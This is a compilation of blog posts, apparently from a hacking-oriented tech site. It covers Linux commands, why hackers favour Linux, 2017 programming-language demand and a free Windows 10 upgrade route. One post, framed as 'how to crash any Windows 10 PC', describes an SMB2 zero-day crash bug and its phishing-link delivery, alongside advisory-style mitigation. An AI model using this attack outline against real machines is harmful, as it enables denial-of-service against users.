• poweroff – power off the system
  Usage: poweroff [OPTION]
  eg. poweroff
• kate – KDE Advanced Text Editor
  Usage:  kate [options][file(s)]
  eg. kate file1.txt file2.txt
• vim – Vi Improved, a programmers text editor
  Usage: vim [OPTION] [file]…
  eg. vi hello.c
• gedit ­ A text Editor. Used to create and edit files.
  Usage: gedit [OPTION] [FILE]…
  eg. gedit
• bg – make a foreground process to run in background
  Usage: type ‘ctrl+z’  and then ‘bg ‘
• fg – to make background process as foreground process
  Usage: fg [jobid]
• jobs – displays the names and ids of background jobs
  Usage: jobs
• sed ­  stream editor for filtering and transforming text
  Usage: sed [OPTION] [input­file]…
  eg. sed ‘s/love/hate/g’ loveletter.txt
• awk ­ pattern scanning and processing language
  eg.  awk ­F: ‘{ print $1 }’ sample_awk.txt
• find ­ search for files in a directory hierarchy
  Usage: find [OPTION] [path] [pattern] eg. find ­name file1.txt
• locate – find or locate a file
  Usage: locate [OPTION]… FILE…
  eg. locate file1.txt

Why real hackers prefer Linux over Windows and Mac

Why do hackers prefer Linux over Mac, Windows, and other operating systems?

We have published many tutorials for hackers and security researchers. You may have noticed that most tutorials are based on Linux operating systems. Even the hacking tools out there are based on Linux barring a few which are written for Windows and Mac. The moot question here is that why do hackers prefer Linux over Mac or Windows?
Today we look at the reason why hackers always prefer Linux over Mac, Windows, and other operating systems. You may have your own reasons for choosing Linux but what do hackers really look forward to while working with Linux.

Reason #1: Command line interface vs graphical user interface

Linux was designed around a strong and highly integrated command line interface. Windows and Mac don’t have that. This grants hackers and Linux far greater access and control over their system and awesome customization. This is the reason that most hacking and pentesting tools are built into Linux have greater functionality above and beyond their windows counterparts. In contrast, Windows was built around the graphic user interface (GUI). This restrict user interaction to point-and-click navigation (slower) and application/system menu options for configuration.

Windows has a command line structure, such as command prompt  and Power Shell, however, these don’t give hackers/developers the complete functionality and integration compared with Linux.  This hampers their work as hacking is usually going beyond the well-defined command lines. This is the reason that though hacking tools like Metasploit or nmap are ported for Windows, they don’t have capabilities like Linux.
Compared to Windows, Linux is more granular. That means Linux gives users infinite amount of control over the system. In Windows, you only can control what Microsoft allows you to control. In Linux, everything can be controlled by the terminal in the most miniscule to the most macro level. In addition, Linux makes scripting in any of the scripting languages simple and effective.

Reason #2: Linux is lighter and more portable

This is arguably the best reason for choosing Linux over Mac and Windows. Hackers can easily create customized live boot disks and drives from any Linux distribution that they want. The installation is quick and its light on resources. To memory, I can only think of one program that lets you create Windows live disks and it wasn’t nearly as light or as quick to install. Linux is made even lighter as many distros are specifically customised as light-weight distros. You can read about the top lightweight Linux distros here.

Reason #3: Linux is typically more secure

Ask a pro hacker or security researcher which operating system is the most secure of them all, and perhaps 101 out 100 will unflinchingly swear by Linux. Windows is popular because of its reach among average users and popularity amongst programmers because it is more profitable to write a program for Windows. In more recent years, popularity has grown for UNIX based operating systems such as Mac OS, Android, and Linux. As a result, these platforms have become more profitable targets for attackers. Still, Linux is a great deal more secure than Windows and Mac out of the box.

Reason #4: Linux is pretty much universal

Just about everything runs some form of UNIX (Internet of Things, routers, web-servers, etc.). Doesn’t it make sense that you would target those systems from a device running the same platform? After all, the goal is to make things easier on yourself. You don’t want to worry about compatibility problems.

Reson #5: Linux Is Open Source

Unlike Windows or Mac, Linux is open source. What that means for us is that the source code of the operating system is available to us. As such, we can change and manipulate it as we please. If you are trying to make a system operate in ways it was not intended, being able to manipulate the source code is essential.

Think of it this way. Could you imagine Microsoft giving us a plug-in/MMC or whatever to manipulate or change the kernel of Windows for hacking? Of course NOT!

Reason #6: Linux Is Transparent

To hack effectively, you must know and understand your operating system and to a large extent, the operating system you are attacking. Linux is totally transparent, meaning we can see and manipulate all its working parts.
Not so with Windows. Actually, the opposite is true. Microsoft engineers work hard to make it impossible for users or hackers to find the inner workings of their operating system. On Windows, you are actually working with what Microsoft has given you rather that what you want. Here Linux differs philosophically from Microsoft. Linux was developed as an operating system to give users more control over it rather than make them do what the developers want.

Summary : Linux vs Windows and Mac

You have to understand that hackers and security researcher are here to make money. Hackers hack platforms that are profitable. Windows has been the preferred choice within enterprise environments and with the average consumer. It’s the preferred choice for developers (apple licensing costs and restrictions), which is why Windows is so compatible. Apple has been too expensive for consumers and Linux is frankly not that user-friendly (buggy, lack of GUI, etc.). You don’t have an average Joe just switching on a Linux PC/laptop and doing what he wants.
However, this is changing. With the arrival of Android smartphones, there has been a paradigm shift in user’s preferences.  As more users switch to Mac/iOS and Android/Linux, attackers will shift to targeting these platforms. With Internet of Things predicted to the next game-changer in tech, Linux will emerge as a formidable challenger to Microsoft’s Windows or Apple’s Mac. As of today, most Internet of Things connected devices are powered by Linux and given the transparency and control available in Linux, it will remain so.
Hacking isn’t for the uninitiated. Hacking is an elite profession among the IT field. As such, it requires an extensive and detailed understanding of IT concepts and technologies. At the most fundamental level, Linux is a requirement for hackers and security researchers.

9 Most Demanding programming languages as of 2017

A simple Google Search will land you with hundreds of programming languages in existence, DO the search of the most popular programming languages you will come up with a confusing list, Hence we have done the work to see what is the best programming language as of the career perspective.

#1 SQL
The number of Indeed job description including SQL (Structured Query Language) increased by nearly 50,000 this year over last year, giving SQL a dramatic lead over the other language. It’s unclear if this is entirely due to more SQL job in the market or a change in how Indeed work. Either way, SQL is still the clear leader in our analysis. SQL is used to communicate with and manipulate database. It is extremely common, with many variations like MySQL and Microsoft SQL. Microsoft released SQL Server 2016 in the past year, which proved to be surprisingly popular and introduced several new features to make the languages more open-source like integrations with R, the popular data analysis programming language, and a Linux versions.

#2 Java
The number of Java positions available on Indeed went up by almost 30,000 in 2017 compared to 2016, possibly because of continuing Android growth. Java is a simple, readable programming language used by millions of developers and billions of android devices worldwide. All native Android app are built in Java and 90 percent of Fortune 500 companies use Java as a server-side language for backend developments. User have been getting excited about the upcoming Java 9 launch in July 2017, although Java Enterprise Edition declined in popularity in 2016.

 #3 Python
Python continued to grow in popularity in 2016 and moved up two place in our ranking to be the third-most common language by job posting. Python is a general purpose programming language that emphasizes code readability and increasing developer productivity, used for desktop app, web apps and data mining. In October 2016, Microsoft launched the beta version 2.0 of its Cognitive Toolkit open source deep-learning framework, which includes support for Python.

#4 JavaScript
JavaScript (different from Java) moved down one place in our ranking compared to 2016, but otherwise the number of jobs posting stayed roughly the same. It’s a mainly client-side, dynamic scripting language used for front-end developments. JavaScript is compatible across all browsers, used in over 90 percent of all web page and is the most popular language on StackOverflow. Compatibility and adoption of JavaScript 6 continued to grow in 2016 and Progressive Web App became more usable, allowing offline-first functionality for web app.

#5 C++
C++ grew by about 20,000 job postings over 2016 and passed pori to take fifth place. Built on C, the grandfather of all programming languages, C++ is a powerful, high-performance languages used to build system software, game engines and desktop and web apps. Many beginners find C++ harder to learn than dynamically typed language like Python or JavaScript.

 #6 C#
“C Sharp” saw a small increase in popularity in 2017, but not enough to keep it from falling behind C++. The language was developed for Microsoft’s .NET software framework and can now be used on non-Windows machine since the release of the .NET Core open-source development platform in June 2016. Its main use is building Microsoft enterprise softwares. Most of the features in C# 7.0 were released last year, including languages support for Tuples, local function, pattern matching and many more.

 #7 Perl
Perl made a big jump in popularity this year to move ahead of iOS and PHP and knock Ruby off of our list. Perl, or “the duct tape that holds the Internet together,” as it’s been named, is actually two language now; Perl 5 and Perl 6, which launched in Dec. 2015. Both of them are general-purpose dynamic programming language that see a lot of use in CGI, graphics, network, and finance programming. Some think the growth of DevOps triggered this popularity surge because Perl is versatile and works well with other language, making it a good DevOps tool.

 #8 iOS Family
Most developers writing for the iOS operating system use Objective-C, C, or Apple’s new Swift programming languages. We counted any job postings that included “iOS” in our ranking and saw little change from 2016. Swift launched in 2014 and it rose quickly in popularity due to its scalability, speed, ease of use and strong demand from the mobile app marketplace. Apple released Swift 3.0 in Sept 2016 with new feature including better translation of Objective-C APIs, modernizations of debugging identifiers and a new model for collections and indices. Apple plans to release Swift 3.1 and Swift 4 in 2017.

#9 PHP
PHP stayed in the same place in our ranking from 2016 to 2017 with little change in popularity. It’s a server-side programming language used on more than 80 percent of websites today including Facebook, Wikipedia, Tumblr and WordPress. It wasn’t the buzziest language in 2016, but the sheer number of websites still built with it ensure it’s still a useful skill for a developer, especially when paired with Javascript and SQL.


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5 Most Dangerous Hackers of All Time

Here I am going to share a video of one of the most dangerous hackers of all time. These hackers are infamous for their hacking skills and expertise.
If you are interested in hacking and security, this is a must watch video for you.

The hackers aren’t the bad people, they are the problem solvers, vulnerability scanners, and bug hunters. Hackers contribute to the society and use their knowledge for its betterment.
On the other hand, cyber-criminals are the one who break into the systems to benefit themselves and harm others. Recently, China admitted that it is having an army of hackers (read cyber criminals) that harm the other nations from time to time.
I hope that you enjoyed the above video of 5 most dangerous hackers of all time.

How to crash any Windows 10 PC/laptop with a SMB zero-day

A New Windows 10 Zero Day Exploit Allows Attackers to Cause a System Crash Released On GitHub

If your Windows 10 run PC or laptop is crashing suddenly, somebody is using a Windows 10 zero-day against it. The exploit was released in the wild on Github allowing anybody with technical knowledge to crash thousands of Windows 10 run PCs and laptops with a BSOD screen.
The Zero-day was discovered by a researcher that goes by PythonResponder on Twitter, and who published proof-of-exploit code for it on GitHub on Wednesday.

How this Windows 10 zero-day works:

The Windows 10 zero-day discovered by PythonResponder is actually a memory corruption bug in the handling of SMB traffic that could be easily exploited by forcing a Windows system to connect to a malicious SMB share. However, to exploit the bug, a potential hacker has to trick a Windows 10 user into clicking a phishing link containing the exploit. Considering how easy it is to socially engineer such links, the zero-day could turn out to be quite effective.
The severeness of the bug has been noted by Carnegie Mellon’s Vulnerability Notes Database which has a new alert up for an exploit that can allow a remote attacker to crash a Windows 10 machine.

The vulnerability is yet to be patched by Microsoft and works on Windows 7/8.1 and Windows 10. The researcher says that he shared knowledge of the flaw with Microsoft, and claims that “they had a patch ready 3 months ago but decided to push it back.” Supposedly, the patch will be released next Tuesday.

Proof-of-concept

Microsoft Windows fails to properly handle traffic from a malicious server. In particular, Windows fails to properly handle a specially-crafted server response that contains too many bytes following the structure defined in the SMB2 TREE_CONNECT Response structure. By connecting to a malicious SMB server, a vulnerable Windows client system may crash (BSOD) in mrxsmb20.sys. We have confirmed the crash with fully-patched Windows 10 and Windows 8.1 client systems, as well as the server equivalents of these platforms, Windows Server 2016 and Windows Server 2012 R2.
The PoC exploit has been tested by SANS ISC CTO Johannes Ullrich, and works on a fully patched Windows 10. You can read his full report here.
While this particular Windows 10 zero-day requires the hacker to create a malicious link containing the exploit, Windows 10 failure to correctly handle the SMB traffic means that somebody could discover a way to exploit it without user interaction/malicious link.

Mitigation

The only safe way for Windows 7/8.1 and Windows 10 PC/laptop owners to prevent this bug from being used against them is to avoid untrusted links. System administrators can prevent it from being exploited by blocking outbound SMB connections (TCP ports 139 and 445, UDP ports 137 and 138) from the local network to the WAN, as advised by CERT/CC. They should know that blocking this ports could also prevent users from accessing shared files, data, or devices.
Microsoft is believed to have accorded top priority to this Windows 10 zero-day and will release the patch this coming Tuesday.

You can still upgrade to Windows 10 for free with this simple hack

Know how to get a free upgrade to Windows 10 legally

Microsoft finally pulled the plug on its free upgrade offer to Windows 10 on July 29, 2016 following a year-long promotional campaign. This means that Windows 7 or Windows 8.1 users cannot upgrade to the latest version of Microsoft’s operating system free of charge post the above deadline.

As of July 30, 2016, the upgrade notifications stopped and the GWX tool began disappearing. Theoretically, the only way to get a Windows 10 upgrade is to pay for it. However, it seems that you may still be able to legally upgrade to Windows 10 from Windows 7 or Windows 8.1 and claim a free digital entitlement, without being forced to jump through any hoops.

Depending on if you select a Home or Pro edition, the price of Windows 10 in US ranges from $119.99 to $199.99

As long as you are using a valid version of Windows 7 or 8.1, the following method to upgrade for free should work on your PC.

Here’s how to upgrade to Windows 10 for free:

1. Visit the Download Windows 10 website.

2. Click Download Tool Now.

3. Once downloaded, run Microsoft’s Media Creation Tool.

4. Next, choose ‘Upgrade this PC now’ option and follow the on screen instructions.

5. Once done, you will be given a license key for Windows 10.

6. You can check on your digital license by going to Settings > Update & security > Activation
and activate the license key.

If you upgrade to Windows 10 using the method above, you will also be able to download the Windows 10 Creators Update which is tipped to be available in April this year. The Windows 10 Creators Update is expected to include a host of new features and could also have a fresh new look.